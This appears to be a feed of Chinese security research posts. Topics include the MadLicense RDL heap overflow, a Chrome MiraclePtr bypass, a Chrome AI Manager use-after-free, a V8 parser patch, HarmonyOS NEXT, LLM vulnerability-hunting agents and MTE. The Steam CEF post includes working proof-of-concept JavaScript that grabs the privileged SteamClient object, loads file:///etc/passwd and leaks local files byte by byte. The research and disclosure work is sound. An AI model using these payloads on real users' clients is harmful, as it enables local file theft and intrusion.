最后，云端隐私计算能力的可信性需要透明化验证，这也是推动模型应用的关键。然而，目前国内尚无统一的第三方验证标准，这在一定程度上阻碍了云端隐私计算的推广。Apple PCC将云端节点的二进制测量数据（包括操作系统、所有代码固件的测量值）公开在透明度日志中，接受第三方专家的验证，并建立高额的赏金计划，树立了信任标杆。

此外，即使云端硬件的安全特性能够确保软件的完整性，但硬件本身的完整性又如何保证呢？云端服务器硬件的制作过程往往是不完全公开，其上的硬件指令是否如记载的那样执行，也是难以验证的。

对于Apple PCC而言，每台服务器被密封前都会进行清点并拍照，并在数据中心被多方团队进行重新验证。然而，这一流程也并非完全的公开透明。如果深究到底，用户仍然无法完全信任硬件指令产生的透明度测量值是真实的，甚至是否存在三角测量行动那样的硬件后门。这仍然是现有厂商需要深入思考的问题。

为了验证Apple PCC是否如白皮书所宣称的那样具备绝对的安全性，DARKNAVY基于其发布的虚拟研究环境（VRE）和部分开源代码开展了深入研究。研究结果显示，得益于其软硬件一体化的独特安全机制，Apple PCC能够有效防止隐私泄露的风险，并显著降低远程攻击的可能性。然而，DARKNAVY的研究也发现了一些可能导致云端推理引擎发生崩溃的输入，这表明Apple PCC并非绝对安全。

国产探索与未来趋势

在大模型时代的云计算浪潮中，隐私安全与机密计算已成为安全行业无法回避的关键话题。个人、企业甚至国家都在寻找切实可行的方案来保障数据安全。试想，如果隐私数据随意裸奔于云端，AI功能再强大也会被画上巨大的问号。

在国内，蚂蚁集团开源的可信隐私计算框架「隐语 SecretFlow」[7]作为先驱者，以通用化方案整合可信执行环境、多方安全计算和联邦学习等多种技术，试图打破主流框架单一技术路线的局限。隐语通过将各种技术抽象为"密态设备"，并提供统一SDK接口，开发者无需深入底层即可快速实现具备隐私保护特性的算法应用。

与此同时，国产手机厂商也在探索大模型与隐私计算的结合。与Apple PCC的一体化生态不同，安卓阵营因品牌与系统版本的多样性而显得碎片化，其用户隐私安全问题更为复杂。

2024年度最狂躁不安的漏洞

Tue, 11 Feb 2025 11:41:45 +0800

在安全研究人员的共同努力下，越发严格的安全缓解措施，已经把大部分内存漏洞扼杀在了摇篮之中。

是时候宣布内存漏洞成为过去式了？

2024年7月，一枚来自Windows阵营的"核弹"打破了安全的幻象。我们不禁发问：面对来自内存的威胁，眼前的城墙究竟能抵挡些什么？

以下为本期《深蓝洞察 | 2024 年度安全报告》的第四篇。

2024年5月，Lewis Lee、Chunyang Han和Zhiniang Peng向微软报告了一个存在于Windows Server RDL (Remote Desktop Licensing)服务中的漏洞。7月，该漏洞被修复并出现在公众视野。

一石激起千重浪，作为一个无需认证、无需用户交互即可触发远程代码执行的内存破坏漏洞，它一经出现便迅速激起各大安全厂商与从业者的高度关注，一度被称作"核弹级漏洞"。

这就是本篇的主角——狂躁许可（MadLicense）。

尽管该漏洞起初被认为是比肩"永恒之蓝"的存在，经调研发现，它的影响范围实际上相对有限。该漏洞存在于Windows Server上的RDL服务而非通常认为的RDP协议。该服务仅作为一个可选安装项，用于允许多个用户通过RDP连接到服务器，与大部分个人用户关系不大。此外该漏洞存在于用户态，单个漏洞对系统的威胁能力较为有限。

漏洞的成因是远程未授权用户能通过RPC远程调用RDL服务中的TLSRpcTelephoneRegisterLKP函数。该函数的子函数中对用户的部分输入进行base24到base10的解码，该功能并没有对输入长度进行限制，导致了一个无长度限制的堆溢出漏洞。

作为一个内存破坏漏洞，它的破坏力不容小觑。于是我们立即着手进行复现，并试图探究，在内存漏洞式微、安全缓解措施愈发严格的今天，要在最新Windows平台利用这样一个经典的堆溢出漏洞，会遇到哪些阻碍和挑战？

复现结果如图。攻击机（右侧）运行恶意脚本，在受害者主机未进行任何操作的情况下，可稳定地拿下远程主机的控制权（左侧shell）。

自Windows 10引入的segment heap堆实现机制，被广泛应用在系统进程中。对于常用尺寸内存的分配，使用VS(Variable Size)或LFH(Low Fragmentation Heap)分配器实现。

VS分配器对于溢出的防护机制较为完善。对于每个堆块，块首中的重要信息均被加密；空闲堆块间的连接也由安全性更高的数据结构代替。这些保护机制使得漏洞利用需要一定程度的信息泄露，大大提升了攻击门槛。

然而当某一尺寸达到一定分配次数时，堆块分配会转为使用效率更高的LFH进行实现。

相较VS，LFH的防护机制相对宽松。LFH堆块不存在块首，因此可以毫无阻碍地溢出到相邻堆块。为了缓解这一利用，LFH的分配采用了完全的随机化：堆块布局随机，且重用最近释放的堆块也不再可靠。这一点可以通过堆喷射的技巧进行绕过。

在狂躁许可漏洞造成的无限制堆溢出面前，segment heap的防御机制被轻易击穿了。我们依然可以轻易溢出到目标堆块，伪造对象以获取任意地址读写/任意地址调用的原语。

到这里利用还没有结束。接下来面对的通用内存缓解措施表现会如何？

微软在Windows 8.1 Update 3和Windows 10中引入了一项重量级的缓解措施——控制流保护（CFG）。在启用CFG后，间接调用会使用编译期间生成的位图进行验证，确保仅对进程中加载模块的函数入口处进行调用，从而有效阻断了传统的代码片段重用攻击。

另一个在Windows 10被引入的缓解措施是任意代码防护（ACG）。ACG可防止现有代码被修改，同时阻止了动态分配可执行内存。ACG与CFG同时开启的情况下，同时绕过这两大防护变得格外困难，几乎杜绝了传统的写入执行shellcode的可能性。

需要注意的是，这两个机制并不能防止攻击者调用CreateProcessA等可能被滥用的函数。在不绕过以上内存缓解措施的情况下，任意函数调用已经足够允许我们在目标机上执行任意命令。

而漏洞原作者之一，华中科技大学副教授彭峙酿向我们透露，他们能够近100%稳定利用、执行任意shellcode。这意味着以上内存缓解措施依然存在被绕过的可能。

为何在采用最新缓解措施的Windows Server 2025上，此内存漏洞依然能被完整利用？

彭峙酿这样回答：目前在Windows众多最新缓解措施全开的情况下，由一个内存破坏漏洞实现远程利用，正常来说是极难的。很多漏洞已不存在被利用的路径，或路径极少极隐蔽。

但这并不代表目前的缓解措施杀死了所有的漏洞利用。能否完成利用往往取决于：攻击者为了完成利用所愿意投入的时间、对相关代码模块的熟悉程度、漏洞和具体模块的特殊情况。

DeepSeek锐评

微软对狂躁许可漏洞"几乎不可能利用"的傲慢断言，折射出安全行业长期存在的评估悖论：当漏洞评级体系脱离攻击者视角，便沦为自欺欺人的技术乌托邦。

防御者用静态指标丈量动态攻防，用理论模型否定实战可能，恰是安全防御最大的盲区。此次漏洞利用链突破多重内存防护的实践证明，安全评估不应是厂商的"免责声明"，而应成为攻防对抗的动态标尺。若不能正视攻击者"技术暴力"的突破能力，再完美的缓解措施都将沦为数字时代的马奇诺防线。

2024年度最具想象空间的新应用

Mon, 10 Feb 2025 11:25:50 +0800

2023年是生成式AI和大型语言模型的元年，它们以前所未有的方式输出内容。

2024年，涌现出大量的AI智能体（AI Agent）不仅扩展了大模型的能力边界，还驱动了更广泛的工具使用，并将其应用场景拓展到更多领域。

对于安全研究者而言，如何借助AI力量的提高工作效率，甚至驱动AI像人类一样思考、分析、挖掘漏洞，已成为一个关键话题。

是率先拥抱AI，还是被AI取代，这一天何时会到来？

以下为本期《深蓝洞察 | 2024 年度安全报告》的第三篇。

随着生成式AI的出现，其展现出的惊人代码理解能力，无疑表现出其可能颠覆安全研究领域的潜力。

23年以来，安全研究人员们便开始尝试利用大模型的知识库及内容生成能力提高安全研究各个阶段的效率：

向大模型提问能够帮助安全研究员快速理解代码的功能、使用大模型快速生成测试代码、将大模型集成至IDE中并提供编码安全建议…

同样也有一系列基于大模型的工具应运而生：

将大模型作为安全研究知识库可以有效提高面对不熟悉领域问题时的解决效率。云起无垠通过使用大量网络安全数据集训练了SecGPT网络安全大模型，作为专家系统帮助研究人员为各种网络安全任务提供建议。
在渗透测试领域，南洋理工大学邓格雷将大模型应用于Web渗透测试领域，设计了PentestGPT，针对渗透过程中的目标扫描、漏洞利用等流程提供帮助；BurpGPT通过使用大模型对网络流量进行分析，识别传统扫描器可能遗漏的漏洞。
在逆向分析方面，Gepetto作为逆向分析工具IDA Pro的插件，通过接入大模型对反编译代码进行语义理解。
软件安全研究基础设施方面，清华大学副教授张超团队使用机器指令语料库训练的机器语言大模型（MLM），不仅能够比传统反编译方案能够获得包含程序语义、更直观易懂的反编译代码，还能够进一步通过MLM辅助解决漏洞挖掘、软件相似性分析等软件安全领域问题。
…

这些工具毫无疑问推动了安全研究中各阶段的效率，但在安全研究者们最期望解决的未知漏洞自动化挖掘与修复方面，结合DARKNAVY的安全研究经验，当前的大模型仍面临诸多挑战。

一方面，大模型的上下文窗口限制了其对程序的理解范围。ChatGPT-4o的上下文窗口为128k tokens，而现实世界的程序代码通常代码量较大、漏洞常常跨越多个文件，可能出现超长的上下文。尽管有支持上千万tokens上下文窗口的大模型出现，但处理超长上下文时，模型可能会分散注意力甚至遗忘部分内容，定位特定的代码片段犹如大海捞针。
另一方面，大模型难以进行较精密的计算且容易产生幻觉。安全漏洞时常伴随着苛刻的触发条件，而目前的大模型难以进行精确的状态推理和数学计算，从而对程序状态可能做出误判，导致误报。而静态代码的复杂性及状态不确定性，使得大模型难以通过简单推理验证漏洞的真实性。

2024年，为了推动大模型在自动化漏洞挖掘领域的能力边界，AIxCC参赛团队、Google等都在尝试通过AI Agent的方式，结合传统漏洞分析方法、为大模型添加更多的工具、指导大模型参考人类研究方式开展自治化程度更高的漏洞分析工作。

Naptime

Google的"Naptime"项目通过AI Agent（智能体）的方式，为其提供了一系列人类研究员常用的工具，使Agent模仿人类研究员的思维及行为方式，通过不断地迭代分析漏洞、假设驱动的研究方式，自主选择并使用工具获取更准确的信息，从而提升了Agent发现漏洞的能力。

代码浏览器：Agent可以使用代码浏览器像人类一样阅读代码仓库中特定片段的代码，从而保证"Naptime"在处理大型代码库时，能够更加"专心"地分析特定的函数或变量。
调试器：能够帮助Agent获取程序运行时的信息，Agent可以在调试器中设置断点并观察程序在不同输入数据下的行为，从而实现动态分析。
Python工具：Agent能够运行Python脚本对程序的中间状态进行精确的计算。

如此一来，Naptime便能模仿人的研究方式，浏览代码仓库中感兴趣的代码，并根据函数调用关系进行分析，实现全自动化的漏洞挖掘流程。

终于，在24年10月，Naptime的进化版Big Sleep在SQLite中发现了一个潜在可利用的0day漏洞。

Big Sleep在浏览代码时，对漏洞函数中的断言（assertion）产生了兴趣，如同人类研究员一般，开始分析触发该断言的可能性并推断触发条件。随后Big Sleep尝试将输入iCol设为-1，并利用调试器进行测试，成功触发断言导致crash。

尽管这个漏洞在调试环境中会触发断言，但Google研究人员发现在release版本中，并不会包含该断言，从而导致该漏洞具备了可利用性。

Google使Agent按照人类的思考方式阅读代码、测试输入，成功利用大模型的代码理解能力实现自动化代码安全性分析，并避免了大模型幻觉导致的误报。

AIxCC

同样是SQLite3，早在2024年8月，AIxCC主办方报告了Team Atlanta发现的一个off-by-one导致空指针解引用漏洞。

为什么 Team Atlanta 没有自己报告漏洞呢？

2024年度最具含“金”量的绕过

Sun, 09 Feb 2025 17:13:30 +0800

基于浏览器漏洞的攻击，自2000年代初出现以来直至今日，一直是一种主流、有效且场景丰富的攻击手段。以下为本期《深蓝洞察 | 2024 年度安全报告》的第二篇。

根据市场调查机构 Statcounter 公布的最新报告，Chrome浏览器无可争议地牢牢占据了市场占有率第一的宝座。

Chrome以其卓越的安全性而著称，Google安全团队一直致力于研究应用最前沿的漏洞缓解机制。MiraclePtr就是其中最为知名的缓解机制之一，旨在防止浏览器中的UAF漏洞被攻击者利用。

Chrome中的PartitionAlloc堆分配器在分配和释放对象时维护了一个用户无感知的refcount字段，简单概括MiraclePtr这一缓解机制就是：若对象在被释放时，对该对象的refcount并不是0，这意味着代码中存在危险的引用，这是一个潜在的UAF对象，此时堆管理器会将此危险的对象隔离，从而阻止了后续可能的漏洞利用。

2022年6月，全新的安全机制MiraclePtr正式地在Windows和Android平台下的browser进程中启用；
2022年9月，扩大启用范围，除renderer进程外的所有进程皆启用；
2023年6月，MiraclePtr在全平台启用（ChromeOS, macOS, 和Linux）；
2024年7月，Chrome VRP宣布：被MiraclePtr保护住的UAF漏洞将不再视为安全问题。

是什么给了Chrome安全团队如此底气，直接无视这一类严重的内存破坏问题？

想回答这个问题，就不得不提到24年的一例MiraclePtr绕过。在24年的5月，Chrome发布的一则巨额漏洞奖金格外引人注目，其数额高达10万美元，这正是Chrome VRP悬赏的MiraclePtr Bypass的赏金数字。

待issue完全公开后，大家才终于明白绕过的细节。PartitionAlloc中在进行refcount加一的操作后，代码中会检测refcount是否溢出，若发生溢出则会触发进程的主动崩溃。

CountType old_count = count_.fetch_add(kPtrInc, std::memory_order_relaxed);
// Check overflow.
PA_CHECK((old_count & kPtrCountMask) != kPtrCountMask);

安全研究员Micky发现，在发生溢出后，这个CHECK并不会立即崩溃，进程处理崩溃相关的逻辑还需要一定的时间，在程序实际停止运行前，仍存在约180ms的时间（在测试环境中），这就给了攻击者生死竞速的机会，攻击者若能在这段时间内完成堆喷占位和后续控制PC等操作，则可以成功利用被MiraclePtr保护的UAF漏洞。

满足攻击成功需要诸多条件：

精准地溢出长度为29 bit的refcount字段。
释放对象的代码与其他攻击所需的代码不运行在同一线程，且都一定程度受攻击者控制。
攻击者自由地控制目标对象的refcount。
在极短的时间窗口内赢得race并完成利用。

综合了以上种种限制，这就使得这个绕过技术几乎只存在与理论中，但Chrome团队仍慷慨地奖励了这一发现。

除此之外，DARKNAVY与24年11月也发现了MiraclePtr实现上的缺陷，报告给了Chrome团队并得到了确认。

综合这一发现以及此前多个高质量漏洞报告，DARKNAVY位列Chrome VRP 2024年度top 20安全研究员/机构。

了解这般背景后，不难看出，历史上仅有的绕过方式存在诸多限制，且MiraclePtr缓解机制稳定运转了两年多，时间已经检验了它的有效性，相信Google是在深思熟虑后决定的"无视"大部分UAF漏洞。

Google历经两年多的时间终于基本根除了一个心头大患，这对消费者来说是可喜可贺的。在Chrome的Q3季度总结中还提到了数个对Chrome内存安全的加固，如移除C语言库libpng的依赖，改为使用Rust实现的PNG、JSON等解码；再如将图形渲染模块ANGLE移植到渲染进程中以获得更强大的沙箱保护。这方方面面的努力，无不预示着未来的Chrome将更难以使用内存破坏漏洞突破。

深蓝洞察

从MiraclePtr的部署到绕过案例的出现，再到其机制的不断完善，Chrome展现的不仅是技术防御的进化，更是一种安全哲学：

通过奖励机制激励发现潜在问题，通过技术迭代增强整体体系，而非仅关注单点漏洞。

这种模式体现了Chrome团队对"攻防对抗"的深刻认知——安全从不是一劳永逸的结果，而是一场拉锯战。

随着安全研究和技术手段的同步发展，Chrome的安全或许无法做到"绝对防御"，但却可以通过这种系统化的策略，将威胁持续降低至可接受的范围，赢取用户的信任，让安全成为产品的核心竞争力。

2024年度最别开生面的新生态

Sat, 08 Feb 2025 17:10:13 +0800

在《深蓝洞察 | 2023 年度安全报告》中，我们曾提到：“当我们站在下一个十年的悬崖边时，2023年注定将成为一个具有深刻转折意义的年份。新防御机制的落地和新型攻击技术的崛起，将深刻改变数字安全的格局。”

2024年，如一阵疾风而至，又如暴雨般迅速远去。我们在2023年中讨论的AI变革、移动操作系统的突破、供应链安全的挑战，已经在2024年继续上演，几乎无法让人有片刻喘息。

不断涌现的颠覆性变化，与传统安全市场如同冰窖般的低迷态势形成鲜明对比。在AI时代，传统的内存安全研究是否仍具意义？新的攻击手段又将走向何方？在不断变化的数字世界中，用户隐私的保障又该如何应对？

2024年的深蓝洞察，我们已经迎接未来的到来，诚邀您一同探讨与分享。

以下为本期《深蓝洞察 | 2024 年度安全报告》的第一篇。

华为于2019年发布了HarmonyOS 1.0版本，直到持续维护的HarmonyOS 4.2，虽然在应用框架层面上实现了对Android和鸿蒙的双重兼容，即所谓的"双框架"，但因为其操作系统底座仍基于Android内核，这一情况引发了业界广泛的质疑。

自2024年HarmonyOS NEXT版本起，到现在发布的5.0版本，HarmonyOS应用框架层已更新为鸿蒙"单框架"，内核也已完全转向使用华为自研的HongMeng内核。正式告别了对Android应用框架、内核的依赖。

早在6月2日，DARKNAVY就已经发布了在HarmonyOS NEXT Developer Preview2版本上完成的全球第一个公开越狱视频，并在6月12号发布了该版本另一漏洞导致的应用保活视频。依托获取的系统权限，我们对HarmonyOS NEXT从应用框架到内核都做了进一步的分析，研究发现无论是应用框架还是内核，HarmonyOS NEXT都与Android有着显著差异。下面我们从安全研究的角度出发，以"单框架"应用开发、权限管控、万物互联、内核架构以及系统调用几个维度为例将我们看到的真实的HarmonyOS NEXT操作系统揭示出来。

鸿蒙"单框架"

鸿蒙"单框架"意味着彻底与Android分手，系统不再支持APK安装包，也不再使用JAVA作为应用开发语言。“单框架"改用HAP安装包部署，应用开发语言采用eTS(extended TypeScript)。

为了避免重蹈传统Android系统中恶意应用横行的覆辙，鸿蒙"单框架"着手于对原有不足的机制进行改进。例如其通过应用签名等机制限制了应用只允许从应用市场安装，杜绝任何第三方非正式应用；更为严格地限制了应用后台保活的手段，即任何后台应用10s后都会被强制挂起；采用了敏感权限单次授权，以保障授权最小化，如应用只允许获取用户单次选择的相关图片而无法直接获取所有图库图片。

除了以上对原系统的优化外，鸿蒙"单框架"更有一些大刀阔斧的变革。

“万物互联"的底层基石是分布式软总线(DSoftBus)，它实现了不同型号、种类的设备之间的互联互通，底层传输介质支持了WiFi、蓝牙等，协议层面覆盖了发现、鉴权、传输等不同阶段。从用户的角度，系统新增的服务如分布式文件系统、剪切板同步极大地便捷了使用。对于开发者来说，底层甚至支持远程调用其他设备的IPC，实现了分布式binder调用。在如此强大的功能下，此模块的安全性更显得尤为重要。

新增的XPM(eXecutable Permission Manager)模块确保了强制代码保护机制，应用仅可加载含合法签名的代码。在应用安装之后，代码文件(.abc和.so)无法被随意修改，否则将会被拒绝执行。同时还存在代码完整性保护，阻止应用篡改可执行代码。
AccessToken机制实现了更细颗粒度的权限控制，它首先将token type分成Hap、Native、Shell等几个类别，分离了系统程序和APP的权限管理；一个应用的access token中包含了应用 ID、子用户 ID、应用分身索引、应用APL、授权状态等信息，有助于系统实现更为细致的鉴权。

以上这几项机制都从操作系统内核层面给予了支持，实现了从上到下的全流程控制。

值得一提的是，鸿蒙"单框架"虽不支持APK安装包，但"出境易”、“卓易通"应用使得在该系统上运行Android APP变得可能。实际分析时由于内核及TEE的加密支持，反编译这些应用市场的安装包异常困难。DARKNAVY基于前期积累实现了应用解密，使用自研反编译器，发现这些应用通过调用鸿蒙系统的容器接口实现了Android的应用和框架层模拟。

鸿蒙内核

鸿蒙内核（以下统称为HongMeng内核）基于微内核架构设计，将传统内核的各项功能拆分为一个精简的核心内核和多个独立的系统组件，并根据安全需求将部分或全部系统组件置于用户态运行，相较于Linux Kernel采用的宏内核架构，提供了更强的安全性。

在宏内核架构中，所有模块紧密耦合在一起。例如，如果攻击者利用网络模块中的漏洞成功攻破网络模块，便可直接控制整个宏内核。

而在微内核架构下，即使某一模块（如网络模块）被攻破，由于各模块间的隔离机制，攻击者无法轻易将攻击扩展至其他系统模块。

系统组件的隔离势必带来性能开销。对于组件间频繁上下文切换所带来的开销，HongMeng内核通过将文件系统管理(fsmgr)、内存管理(memmgr)、进程管理(procmgr)等频繁调用的功能移入内核态，并将网络通信、驱动(devhost)等存在较大攻击面的功能隔离于用户态，以牺牲较少量的性能换取了更高的安全性。

以子之矛陷子之盾 · 用AI对AI漏洞的利用探索

Thu, 31 Oct 2024 17:32:23 +0800

2024年9月24日，OpenAI的CEO Sam Altman发表文章《The Intelligence Age》，大胆地宣告了AI时代的到来。

给予文章强有力支撑的是ChatGPT-o1的发布，这是一次里程碑式的事件，在深度学习的加成下，大模型如虎添翼，表现强劲。

身处时代浪潮之中，DARKNAVY也积极拥抱AI，探索AI和安全的关系。AI能否在发现和利用漏洞时，再现人类的方法论？AI会不会带来新的安全问题？

楚人有鬻盾与矛者，誉之曰：“吾盾之坚，物莫能陷之。”以誉其矛曰：“吾矛之利，于物无不陷也。”或曰：“以子之矛陷子之盾，何如？”其人弗能应也。夫不可陷之盾与无不陷之矛，不可同世而立。

吾盾之坚，物莫能陷

AI时代下，各大厂商纷纷推出了全新的AI产品、大模型，而对现存的产品，在迭代更新中，不少也加入了AI powered功能。AI已逐渐在无形之中成为了产品安全的一部分。新的代码也意味着新的攻击面，对于AI类的功能，更为特殊。

新增的代码仍受到传统攻击手法的威胁，从审计的角度来看，AI代码除了功能的不同，本质上还是代码中的一个子模块，内存溢出、越界等内存破坏漏洞皆有可能存在。而除了传统的代码攻击面外，还存在着特定于AI类别的攻击面，例如模型越狱、对抗样本攻击等等。

带着这样的思考，DARKNAVY的研究员将目光瞄准了Chrome的新增功能——AI Manager模块上。此模块是Google于今年新推出的，主要用于帮助用户更快捷地写作。

此模块的架构和传统的Chrome模块大同小异，模块的主服务AIManagerKeyedService继承自基类KeyedService。关于这个类的生命周期，在类的声明处有注释说明：

// The browser-side implementation of `blink::mojom::AIManager`. There should
// be one shared AIManagerKeyedService per BrowserContext.

当renderer试图获取此接口时，会调用到此函数

void AIManagerKeyedService::AddReceiver(
    mojo::PendingReceiver<blink::mojom::AIManager> receiver,
    AIContextBoundObjectSet::ReceiverContext context) {
  receivers_.Add(this, std::move(receiver), context);
}

其中context的类型定义为：

  using ReceiverContext =
      std::variant<content::RenderFrameHost*, base::SupportsUserData*>;

也就是说，AIManager服务中保存的context实际是来自frame的RenderFrameHost对象，而此服务的生命周期和frame的生命周期并无关系。熟悉浏览器沙箱的朋友读至此，应该已经意识到了问题。若攻击者在子frame中先绑定AIManager接口，将此接口传递出去，再销毁子frame，那么此时对应接口的RenderFrameHost已经被free，外部使用接口的功能将触发RenderFrameHost的UAF。

值得一提的是，此漏洞还是难得的不被MiraclePtr所保护的UAF漏洞:

MiraclePtr Status: NOT PROTECTED

DARKNAVY发现此问题后，意识到漏洞危害极高，迅速报告并协助了Google进行修复。Google于10月15日发布新版本修复了此漏洞。

吾矛之利，物无不陷

发现漏洞后，思路自然地转向了研究此漏洞的可利用性。正如前文所述，AI能否在此研究过程中给予人类有力的援助？AI之于安全研究员，是一把趁手的武器，还是一堆废铜烂铁？

在今年GeekCon 2024新加坡站的舞台上，有多个有关此话题的安全研究亮相。

来自清华的张超教授，展示了他们团队将大模型应用于二进制分析领域的成果，成功地应用于二进制代码相似性检测、patch补丁检测等场景；

CVE-2024-5274: A Minor Flaw in V8 Parser Leading to Catastrophes

Fri, 30 Aug 2024 10:09:29 +0800

在今年5月，我们注意到Chrome在一次更新中修复了一个被在野利用的V8漏洞，我们迅速定位了这个漏洞的修复，发现他是近些年来罕见的Parser模块的漏洞，这引起了我们很大的兴趣，于是有了以下的研究。

从patch到PoC

首先我们看一下此漏洞的patch：

diff --git a/src/ast/scopes.cc b/src/ast/scopes.cc
index 660fdd2e9ad..de4df35c0ad 100644
--- a/src/ast/scopes.cc
+++ b/src/ast/scopes.cc
@@ -2447,7 +2447,7 @@ bool Scope::MustAllocate(Variable* var) {
     var->set_is_used();
     if (inner_scope_calls_eval_ && !var->is_this()) var->SetMaybeAssigned();
   }
-  DCHECK(!var->has_forced_context_allocation() || var->is_used());
+  CHECK(!var->has_forced_context_allocation() || var->is_used());
   // Global variables do not need to be allocated.
   return !var->IsGlobalObjectProperty() && var->is_used();
 }
diff --git a/src/parsing/parser-base.h b/src/parsing/parser-base.h
index 40914d39a4f..65c338f343f 100644
--- a/src/parsing/parser-base.h
+++ b/src/parsing/parser-base.h
@@ -2661,6 +2661,7 @@ typename ParserBase<Impl>::BlockT ParserBase<Impl>::ParseClassStaticBlock(
   }

   FunctionState initializer_state(&function_state_, &scope_, initializer_scope);
+  FunctionParsingScope body_parsing_scope(impl());
   AcceptINScope accept_in(this, true);

   // Each static block has its own var and lexical scope, so make a new var

patch十分简单，实际真正有效的修复代码仅有一行，在解析class的static initialization block时新增了一个类型为FunctionParsingScope的变量，我们再看一下这个新增的变量做了什么：

Steam漏洞利用：CEF框架应用下的常规与非常规利用手段

Thu, 27 Jun 2024 11:39:37 +0800

前言

Chromium Embedded Framework(CEF)是一个开源框架，开发者可以将Chromium引擎嵌入至他们的应用程序中。尽管CEF被广泛应用于诸如微信和Epic Games Launcher等流行软件中，但对其安全性的研究却甚少。在本文中，我们将以Steam客户端浏览器（一款基于CEF的应用程序）为例，介绍我们发现的漏洞及其利用方式，展示我们如何构建了三个远程代码执行（RCE）链。

RCE#1：`steamwebhelper`中多个问题导致RCE

steamwebhelper是Steam客户端内置的浏览器，用于渲染商店、社区、好友等页面。其基于CEF开发，并在CEF的基础上添加了一些功能。我们在这些额外的功能中找到了一系列逻辑漏洞以及特性导致的问题，最终完成了RCE。

在外部页面中获取`SteamClient`对象

steamwebhelper在加载一些特定的页面，例如steampowered.com 、 steamloopback.host等页面时，会在JavaScript运行环境中加入一个特权对象SteamClient。对该过程进行逆向后，我们发现，对有域名的url，steamwebhelper会调用BIsTrustedDomain检查其域名是否在白名单中，而对于没有域名的url，会检查其是否为data或about协议。

在外部页面中打开白名单中的域名会被同源策略限制，然而打开about:blank等页面并不会，因此我们可以在自己可控的页面中打开"about:blank"，获取并使用其SteamClient。

PoC:

ab_page = open("about:blank");
s_client = ab_page.SteamClient;
alert(s_client);

使用`BrowserView`加载file协议

SteamClient是steam中内部页面所使用的特权对象，它有很多特权功能，如操作当前的Browser对象、操作窗口位置、下载任意文件等。

通过SteamClient.BrowserView，我们可以创建并管理BrowserView。经过测试发现，BrowserView是一个嵌入在原始网页中的子页面，类似于普通web页面中的一个iframe，但与此对象的交互都是由Steam自身实现。

在测试BrowserView的功能时，我们发现BrowserView.LoadURL调用不会受到任何安全策略的限制，可以加载任意协议任意域名的url，包括chrome://、file://等权限较高的协议。

PoC:

b_view = s_client.BrowserView.Create();
b_view.LoadURL("file:///etc/passwd");
b_view.SetBounds(0, 0, 1000, 1000);
b_view.SetVisible(true);

获取`BrowserView`中加载的页面内容，实现任意文件读

至此我们已可以通过LoadURL加载到本地的任意文件，但是还没有办法直接读取到页面内容。通过测试逆向BrowserView对象，发现其提供了FindInPage功能可以在页面中搜索特定字符串，并且通过调用BrowserView.on("find-in-page-results", callback)可以注册一个回调函数来处理搜索的结果。那么问题变成了：如果可以在页面内搜索一个可控字符串并获取到搜索结果，能否获取到页面的内容？（听起来像是一道CTF题目）

答案是肯定的，最终通过逐字节爆破搜索，我们可以做到任意文件读的效果。

PoC（通过读file:///home/获取用户名）:

async function is_str_in_bv(bv, s, count) {
  window.stage = 0;
  bv.FindInPage(s, true, true);
  while (window.stage < 3) { await sleep(10); }
  return window.count > count;
}

b_view.on("find-in-page-results", (a, b) => {
  if (window.stage == 0) {
    if (a == 0 && b == 0) { window.stage = 3; window.count = 0; }
    else window.stage++;
  }
  else if (window.stage++ == 2) window.count = a;
});
baseuser = "/";
charset = "abcdefghijklmnopqrstuvwxyz";
while (true) {
  found = false;
  for (c of charset) {
    teststr = c + baseuser;
    count = 0;
    if ("home/".endsWith(teststr)) count = 1;
    if (await is_str_in_bv(b_view, teststr, count)) {
      found = true;
      break;
    };
  }
  if (!found) break;
  baseuser = teststr;
}
alert(baseuser);

从任意文件读到任意文件创建

在这篇漏洞报告中提到了，通过steam://devkit-1中的list-shortcuts等功能可以做到任意文件创建（文件内容不可控），而这个漏洞的修复方式是在~/.steam/steam.token文件中随机生成一个字符串，在使用steam://devkit-1相关功能时，会验证token是否正确。事实上此方式并未对此功能逻辑上的缺陷进行修复，若攻击者可以读取到token，则可以轻易bypass此修复。

填补盾牌的裂缝：堆分配器中的MTE

Wed, 03 Jan 2024 16:14:27 +0800

前言

2018年，随着ARMv8.5-A的发布，一个全新的芯片安全特性MTE(Memory Tagging Extensions) 横空出世。时隔五年后的2023年，市场上第一款支持此特性的手机发布 —— Google Pixel 8，宣告着MTE正式走入了消费者群体。虽然该特性在手机上还未默认启用，但开发者可以自行开启体验。

MTE作为一个强大的内存破坏防御手段，对于它的防御边界、防御能力，和它对性能的影响，目前网上还未有对其全面的分析。此前，Google Project Zero发表了一系列关于MTE的文章，其聚焦于较为底层的MTE安全性。然而MTE对于真实的软件安全性究竟有多大的影响仍是个未解之谜。想要讨论这个话题，各大堆分配器是一个很好的切入点。堆上的内存破坏问题已经逐渐成为二进制漏洞中的主流类型，参考MSRC于CppCon2019的议题内容：

通常普通开发者并不会直接使用MTE相关的汇编指令，而是依靠堆分配器自带的MTE支持间接使用，堆分配器就像盾牌一样，扛起了保护软件的任务。MTE提供了细颗粒管控内存的基础支持，如何基于硬件MTE能力实现高级安全功能的重任，留给了软件开发者。开源社区主流堆分配器积极响应，实现了基于MTE特性的安全增强，提高了堆空间的内存安全性。

本文将以MTE的三个主要玩家：Chrome中的PartitionAlloc、Glibc中的Ptmalloc、Android中的Scudo为目标，对其中MTE相关的实现分别进行讨论，并对它们进行对比。我们在研究中发现了PartitionAlloc中实现的问题，并将此问题报告给了Google，得到了Chrome团队的确认。

MTE概述

已了解MTE原理的读者可跳过此章节。

MTE利用ARMv8的TBI (Top-Byte Ignore) 特性，使用指针的高4 bits存储tag，在每个进程中有一段专用的内存用于存储tag。当为内存指定了某个tag后，程序必须带上正确的tag访问内存，若tag错误，程序抛出错误信号SIGSEGV，如下图所示：

指令集提供了系列指令来操作tag，此处举例说明MTE的基本用法：

; x0 is a pointer
irg  x1, x0
stg  x1, [x1]
ldr  x0, [x1]

IRG (Insert Random Tag) 指令为指针x0生成一个随机tag，将结果保存至x1中。
STG (Store Allocation Tag) 指令将tag应用至内存中，生效的长度取决于颗粒度，一般为16字节。
LDR (Load Register) 使用带有tag的指针读取内存。

可以看到指令集中提供了底层的支持，但各个指令的使用有很大的自由度，MTE具体如何使用，很大程度上仍然取决于软件开发者。

Allocator

Chrome - PartitionAlloc

分配

PartitionAlloc中的分配可以大致分为三种情况：

从ThreadCache中分配，不变动tag直接返回。
从空闲的SlotSpan中分配，不变动tag直接返回。
若以上两种情况均不满足，分配一个新的SlotSpan，对其中所有空闲的堆块打上随机的tag

    if (PA_LIKELY(use_tagging)) {
      // Ensure the MTE-tag of the memory pointed by other provisioned slot is
